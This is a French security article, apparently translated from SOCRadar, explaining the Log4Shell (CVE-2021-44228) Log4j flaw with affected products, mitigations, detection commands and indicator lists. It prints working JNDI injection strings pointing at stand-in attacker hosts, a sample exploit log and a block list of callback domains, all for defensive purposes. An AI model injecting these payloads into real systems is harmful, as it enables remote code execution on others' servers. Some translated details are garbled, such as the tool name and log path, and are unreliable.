Rendu publique le 9 décembre la faille Apache Log4j (également connue sous le nom de "Log4Shell") est vulnérabilité (CVE-2021-44228). Son existence a été en réalité signalé à Apache le 29 novembre, par un salarié d'Alibaba Cloud (une société chinoise dont les activités sont similaire à AWS - Amazon Web Services).
Mais dès le 2 décembre, des acteurs malveillants auraient entrepris de l’exploiter, à en croire Talos (une filiale du groupe Cisco axée sur la cyber sécurité). Pour Cloudflare, la première preuve d’exploitation remonterait à la veille, le 1er décembre. Mais aucun éditeur ne rapporte d’exploitation massive de la faille avant sa divulgation.
Qu'est-ce que Log4j, à quoi sert-il et pourquoi est-il si important ?
Log4j c'est quoi ? Log4j est une bibliothèque de journalisation basée sur Java que "Ceki Gulcu" a développée, puis transférée à Apache Software Foundation et produite par ASF.
Log4j est activement impliqué dans de nombreuses applications Java en créant une journalisation optionnelle basée sur les niveaux. Considérant que le nombre d'appareils utilisant Java dans le monde se chiffre en milliards, il n'est pas surprenant que Log4j apparaisse dans de nombreux environnements.
Quelle est la gravité d'une vulnérabilité détectée dans Log4j ?
Bien que la vulnérabilité Log4Shell, détectée par "Chen Zhaojun" de l'équipe de sécurité d'Alibaba Cloud, ne semble pas encore entièrement comprise, elle ressemble à une vulnérabilité qui sera le plus discutée dans les années à venir. Il est si critique qu'il amène différentes entreprises à subir des failles de sécurité à un moment inattendu.
Nous rappeler la vulnérabilité d'Equifax pourrait être bon pour nous rafraîchir la mémoire. La vulnérabilité qui a causé la violation de données d'Equifax en 2017 était similaire à l'exposition Log4j qui est sortie aujourd'hui, mais il s'agissait d'une vulnérabilité très innocente.
Les autorités ont déterminé que le niveau de criticité de la vulnérabilité (CVSS) était de 10 sur 10. Le score CVSS élevé indique que la vulnérabilité doit être corrigée immédiatement.
Comment savoir si vous êtes affecté par cette vulnérabilité ? La réponse est :
- Si vous utilisez des versions de log4j de 2.0 à 2.14.1, vous êtes affecté par cette vulnérabilité, donc corrigez là maintenant !
- Si vous utilisez Log4j 1.x, vous n'êtes concerné par cette vulnérabilité que si vous utilisez "JMS Appenders".
Comment ça marche?
La façon dont le processeur log4j traite les messages de journal est la cause première de la vulnérabilité. Un attaquant peut exécuter des codes à distance en envoyant un message personnalisé qui peut inclure du code malveillant comme le suivant.
${jndi:ldap://evil.xa/x}
Cette insertion de code peut par exemple entraîner le chargement d'une classe de code externe ou la consultation d'un message et l'exécution de ce code.
Quels produits et systèmes que vous utilisez peuvent être affectés par cette vulnérabilité ?
Il est impossible de dire directement si une application utilise Log4j en la regardant de l'extérieur. Il semble que certains éditeurs aient commencé à répertorier les services et logiciels qui utilisent Log4j à ce sujet. Nous partageons les plus importants d'entre eux dans une liste ci-dessous.
En résumé, si vous avez une application qui utilise Java, Log4j est également utilisé. Par conséquent, vous devez vérifier toutes les applications Java et appliquer les patches/mitigations nécessaires.
Recherche de Log4j avec des outils open source
Comment tester la faille et comment la rechercher ? Il existe deux outils open-source dirigés par Anchor qui peuvent analyser de nombreux formats de dépendances empaquetées, identifier leur existence et signaler s'ils contiennent des vulnérabilités. Dans ce cas, ce que nous voulons, c'est pouvoir vérifier les fichiers JAR, en particulier les couches imbriquées de fichiers JAR.
Syft génère une nomenclature logicielle (SBOM) et Grape est un scanner de vulnérabilités. Ces deux outils peuvent inspecter plusieurs couches imbriquées d'archives JAR pour découvrir et identifier les versions de Log4j.
Quelques services/fabricants affectés par la vulnérabilité de Log4j :
- Apple
- Steam
- Baidu
- Tesla
- Amazon
- Cisco, F5
- Citrix
- Carbon Black
- Imperva
- Jenkins
- McAfee
- Oracle
- Webex
- Palo-Alto Networks
- Pulse Secure
Produits identifiés comme étant affectés par la vulnérabilité de Log4j :
- La plupart des applications qui utilisent Java dans leur infrastructure
- Apache Struts
- Apache Struts2
- Apache Tomcat
- Apache Spark
- Apache Solr
- Apache Druid
- Apache Flink
- ElasticSearch
- flume
- Apache Dubbo
- Logstash
- Kafka
- IBM Qradar SIEM
- VMWare
- NetApp
La liste des applications concernées et la liste des composants concernés s'allongent également. La surface d'attaque avec des exploits vérifiés est également publiée par les chercheurs.
Comment se protéger de la vulnérabilité de Log4j ? Existe-t-il d'autres solutions que l'application de correctifs ?
Il existe plusieurs façons de se protéger contre la vulnérabilité de log4j. Tout d'abord, mettez à niveau vers la nouvelle version, la version 2.15.0 ou supérieure. La nouvelle version, la version 2.16.0 est maintenant disponible. Si vous ne pouvez pas mettre à jour pour une raison quelconque, ASF recommande les solutions intermédiaires suivantes :
- Les utilisateurs de Log4j version 2.10 ou supérieure peuvent ajouter:
en tant qu'option de ligne de commande ou ajoutez log4j2. "formatMsgNoLookups=true" à un fichier "log4j2.component.properties" sur le classpath pour empêcher les recherches dans les messages d'événement du journal.
-Dlog4j2.formatMsgNoLookups=true- Les utilisateurs depuis Log4j 2.7 peuvent spécifier
%m{nolookups}dans la configuration de PatternLayout pour empêcher les recherches dans les messages d'événements de journal.
- Supprimez les classes JndiLookup et JndiManager du jar log4j-core. La suppression de JndiManager entraînera le dysfonctionnement de JndiContextSelector et de JMSAppender.
Comment détecter les systèmes utilisant un Log4j vulnérable ?
Exécutez la commande suivante sur vos systèmes Linux
grep -r 'org/apache/logging/log4j/core/lookup/JndiLookup.class' /
Si le résultat est "correspondance de fichiers binaires", les fichiers concernés utilisent la bibliothèque Log4j.
Vous pouvez exécuter les commandes pertinentes à partir du dépôt GitHub pour les systèmes Windows.
Divers systèmes de test sont distribués sur Internet pour les systèmes dont vous n'avez pas accès au code mais que vous soupçonnez. Vous pouvez essayer l'un de ces codes de test, celui qui est fiable pour vos systèmes suspects.
Vous pouvez également utiliser des outils de test en ligne tels que le service fourni par Huntress Labs.
Si vous souhaitez tester plusieurs serveurs Web à partir de l'invite de commande, le modèle Nuclei est publié. Il vous suffit d'exécuter la commande suivante pour obtenir un fichier texte contenant la liste des URL.
nuclei -t cves/2021/CVE-2021-44228.yaml -list urls.txt
Comment exploiter la vulnérabilité de Log4j ? Existe-t-il un exemple de code d'exploitation ?
Il n'y a pas besoin de lignes de code complexes pour exploiter la vulnérabilité. La ligne suivante, ajoutée à toute entrée reçue par Log4j (il peut s'agir d'un agent utilisateur HTTP ou de données envoyées par un formulaire HTTP POST), fera fonctionner le code d'exploitation.
${jndi:ldap://maliciousexternalhost.com/resource}
La chose la plus importante à noter ici est que vous devez éviter d'exécuter des codes d'exploit avec un contenu illisible ou un contenu que vous ne pouvez pas techniquement commenter. Si vous souhaitez expérimenter avec votre serveur LDAP, ce dépôt GitHub vous sera utile.
Comment pouvez-vous déterminer si vos systèmes sont affectés en regardant les journaux ?
Un exemple de journal d'exploits générera des journaux sur le serveur Web comme suit.
127.0.0.1 - - [] "GET / HTTP/1.1" 200 2595 "-"
"${jndi:ldap://127.0.0.1:12344/Basic/Command/Base64/}"
Contrôle central pour les systèmes situés derrière le pare-feu :
Le moyen le plus simple de savoir si quelqu'un exécute le code d'exploitation Log4j sur vos systèmes est de vérifier le trafic de vos systèmes de serveurs vers l'internet et de vérifier le trafic sur un port anormal 80, 443.
En particulier dans les environnements d'entreprise, étant donné que les systèmes de serveurs ont un accès minimal à l'internet (comme il se doit), il ne sera pas facile de l'exploiter même si une vulnérabilité est détectée. En outre, si vous pouvez examiner la partie protocole du trafic sortant, et non le port, la recherche du protocole LDAP vous facilitera également la tâche.
Les requêtes provenant des adresses DNS suivantes sont des indicateurs de l'existence d'un système présentant cette vulnérabilité et de tentatives d'exploitation. Vous devez bloquer ces tentatives en créant des règles SIEM sur le serveur DNS, le pare-feu ou l'IDS qui génèrent des alarmes et bloquent les requêtes envoyées depuis ces domaines (et également tous leurs sous-domaines).
pwn.af
.*\.pwn\.af
.*\.leakix\.net
leakix.net
.*\.interactsh\.com
interactsh.com
.*\.interact\.sh
interact.sh
.*\.burpcollaborator\.net
burpcollaborator.net
.*\.bingsearchlib\.com
bingsearchlib.com
.*\.canarytokens\.com
canarytokens.com
.*\.kryptoslogic-cve-2021-44228\.com
kryptoslogic-cve-2021-44228.com
dnslog.cn
.*\.dnslog\.cn
world443.log4j.binaryedge.io
world80.log4j.binaryedge.io
requestbin.net
.*\.requestbin\.net
rce.ee
.*\.rce.ee
Vérifiez pour chaque système Linux :
En outre, si vous savez ou soupçonnez qu'un système Linux utilise Log4j, vous pouvez rapidement vérifier les journaux avec les commandes grep/egrep.
Vous pouvez essayer la commande suivante pour savoir si un exploit a été tenté dans le contenu de tous les fichiers journaux sous /var/login de manière simple :
Vous pouvez consulter ce dépôt GitHub pour rechercher les fichiers d'archives compressés sous /var/log.
sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
Contrôle via SIEM :
Pour le contrôle via SIEM, la recherche dans les journaux de jndi:ldap, jndi:rmi, jndi:dns donnera un indice.
Existe-t-il des CIO que les équipes SOC peuvent utiliser pour empêcher l'exploitation de la vulnérabilité sur les serveurs exposés à Internet ?
Après la publication de la vulnérabilité, les systèmes utilisant Log4j ont commencé à être détectés et exploités par des centaines d'adresses IP de différents pays.
La liste ci-dessous doit être vérifiée dans les arriérés et ajoutée à la liste de blocage pour les scans potentiels.
- Vous pouvez accéder à Active Scanning IP Addresses à partir du lien GitHub ici
- Les adresses pour appeler la charge utile téléchargeant l'exploit sont listées ici
Existe-t-il des règles pour détecter et prévenir les vulnérabilités des systèmes tels que WAF, IPS, SIEM ?
Lorsque nous regardons les premiers scans, nous voyons qu'il y a des expériences de changement d'agent utilisateur (ils envoient la partie Payload avec l'agent utilisateur) sur HTTP/HTTPS. Par conséquent, les WAF et les IPS ont un rôle essentiel dans la première phase. Cloudflare a annoncé que tous ses clients sont protégés contre cette vulnérabilité.
En outre, le blocage de l'accès aux ports LDAP et RMI des systèmes serveurs vers l'internet dans les règles du pare-feu réduira partiellement l'effet de l'attaque car les attaquants essaient d'envoyer le paquet exemplaire vers l'internet via LDAP, DNS et RMI pour comprendre que l'attaque a réussi.
Si vous utilisez un IDS/IPS basé sur Snort, Suricata, vous pouvez appliquer les règles à votre système en examinant les instructions ci-dessous. Vous pouvez suivre le fichier de signature mis à jour ici.
Y a-t-il un groupe de ransomware, un groupe APT ou un botnet qui exploite activement la vulnérabilité de Log4Shell ?
En date du 12 décembre, il a été observé que deux botnets, Muhstik et MIRAI, exploitent activement la vulnérabilité de la bibliothèque log4j.
Restez donc prudent face à cette nouvelle vulnérabilité. Nous mettrons l'article en cas de nouveaux éléments !
Source: SOCRadar
